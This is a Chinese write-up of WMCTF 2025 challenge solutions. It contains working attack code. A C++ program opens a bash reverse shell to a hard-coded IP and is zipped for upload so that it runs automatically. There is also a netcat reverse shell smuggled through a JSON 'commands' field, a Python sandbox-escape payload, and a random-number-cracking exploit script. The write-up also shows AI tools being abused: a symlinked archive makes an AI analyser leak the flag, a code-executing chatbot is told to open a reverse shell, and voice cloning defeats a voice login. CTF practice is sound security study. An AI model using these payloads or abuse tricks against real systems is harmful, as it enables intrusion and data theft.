WMCTF 2025 wp
前言
好比赛,圆梦一血和二血
Shopping company系列
1
并不是我写出来的
上传压缩包,后台会解压并读取文件让AI分析
只需要压缩包里面有指向flag的软链接,AI便会返回flag
2
同样方式读取源码,发现压缩包里如果是个executable会被自动运行
#include <cstdlib>
#include <iostream>
#include <sys/wait.h>
int main() {
const char* command = "bash -c \\"bash -i >& /dev/tcp/156.238.233.37/4444 0>&1\\"";
int code = std::system(command);
if (code == -1) {
std::perror("system");
return 1;
}
if (WIFEXITED(code)) {
return WEXITSTATUS(code);
}
std::cerr << "Command terminated abnormally" << '\\n';
return 1;
}
#!/usr/bin/env bash
set -euo pipefail
SOURCE="list_files.cpp"
# BUILD_DIR="build/linux"
OUTPUT="list_files"
CXX="${CXX:-x86_64-linux-gnu-g++}"
if [[ ! -f "${SOURCE}" ]]; then
echo "Error: ${SOURCE} not found" >&2
exit 1
fi
if ! command -v "${CXX}" >/dev/null 2>&1; then
echo "Error: ${CXX} not found. Install a cross compiler that targets x86_64 Linux and re-run." >&2
exit 1
fi
# mkdir -p "${BUILD_DIR}"
"${CXX}" -std=c++17 -O2 "${SOURCE}" -o "${OUTPUT}"
echo "Built ${OUTPUT}"
chmod +x "${OUTPUT}"
zip "${OUTPUT}.zip" "${OUTPUT}"
拿到shell进去扫内网,配置代理
找到一个Open WebUI,也就是题目所说的AI平台
http://192.168.100.40:8080/
需要登陆使用。可以在前面的shell的/root/Desktop/credentials.txt下发现AI平台的账号密码AI [email protected]:123456
进去后发现AI模型有代码执行权限,于是在后台配置了模型api与key
要求AI写脚本执行反弹shell

成功弹shell
# cat flag
wmctf{AI_is_the_future}
拿到一血

3
渗透http://192.168.100.30:8080,智能办公系统
登陆页面提示用户名密码为admin:admin
收集信息发现里面有个反序列
系统提示: 报告数据已通过 Redis 缓存系统优化,访问此页面时会触发数据反序列化过程。
缓存详情
序列化格式: Go Gob
存储方式: Redis 缓存
编码格式: Base64
访问时触发: 自动反序列化
数据输入 (JSON 格式)
支持复杂的 JSON 数据结构,系统会自动进行序列化处理并存储到 Redis 缓存中以提高访问速度。
基础数据格式:
{
"sales": [
{"month": "2024-01", "amount": 10000},
{"month": "2024-02", "amount": 12000}
],
"metadata": {
"timestamp": "2024-03-15T10:30:00Z",
"version": "1.0"
}
}
高级模板格式(支持动态内容):
{
"data": {"type": "sales", "period": "monthly"},
"template": {
"template_type": "dynamic",
"fields": ["sales", "revenue"],
"commands": ["echo Processing...", "date"]
}
}注意到command,尝试构造json
{
"data": {"type": "sales", "period": "monthly"},
"template": {
"template_type": "dynamic",
"fields": ["sales", "revenue"],
"commands": ["rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f"]
}
}
成功拿到shell,然后cat /flag.txt
wmctf{G0_D3s3r14l1z4t10n_R3d1s_RC3_Ch4ll3ng3_2025}
拿到二血

Voice_hacker
Wireshark解析RTP包,导出男性声音
然后进行音色克隆,POST上去即可
{'flag': 'WMCTF{01a9a4f1-e748-43fa-8d6d-bba372016adc}', 'message': '认证成功', 'success': True}guess
rd = random.Random()random只被实例化了一次,说明会共享seed,可以爆破出种子
然后是一个经典的pyjail
if payload:
eval(payload, {'__builtin__':{}})
用类似
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cmd") 即可绕过
脚本
import requests
import re
import uuid
from randcrack import RandCrack
import sys
import time
URL = "<http://49.232.42.74:30935>"
s = requests.Session()
rc = RandCrack()
def get_rand_from_register():
data = {"username": str(uuid.uuid4()), "password": str(uuid.uuid4())}
try:
r = s.post(f"{URL}/register", json=data, timeout=5)
r.raise_for_status()
user_id = r.json().get("user_id")
if user_id:
return int(user_id)
except requests.exceptions.RequestException as e:
print(f"[-] 注出错: {e}")
return None
def get_rand_from_api():
try:
r = s.post(f"{URL}/api", json={"key": "1"}, timeout=5)
if r.status_code == 403:
message = r.json().get("message", "")
match = re.search(r'Not Allowed:(\\d+)', message)
if match:
key2 = match.group(1)
return int(key2)
except requests.exceptions.RequestException as e:
print(f"[-] 调用 /api 出错: {e}")
return Non
def main():
try:
requests.get(URL, timeout=5)
except requests.exceptions.RequestException:
print(f"[-] 无法连接到目标 {URL}。")
sys.exit(1)
for i in range(312):
time.sleep(0.1)
print(f"[*] --- 正在收集第 {i+1}/312 对随机数 ---")
rand1 = get_rand_from_register()
if rand1 is not None: rc.submit(rand1)
else: sys.exit("[-] 获取随机数失败,中止。")
rand2 = get_rand_from_api()
if rand2 is not None: rc.submit(rand2)
else: sys.exit("[-] 获取随机数失败,中止。")
while True:
predicted_key = rc.predict_getrandbits(32)
print(f"[!] 密钥预测成功: {predicted_key}")
try:
payload = input("payload > ")
if payload.lower() in ['exit']:
break
if payload == "new":
predicted_key = rc.predict_getrandbits(32)
print(f"[!] 密钥预测成功: {predicted_key}")
continue
exploit_data = {"key": str(predicted_key), "payload": payload}
response = s.post(f"{URL}/api", json=exploit_data)
print(response.text[:800])
except Exception as e:
print(f"[-] 错误: {e}")
if __name__ == "__main__":
main()
等待收集随机数完成后输入
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /flag > /app/static/1")]
然后访问/static/1 获取flag
许可协议:
CC BY 4.0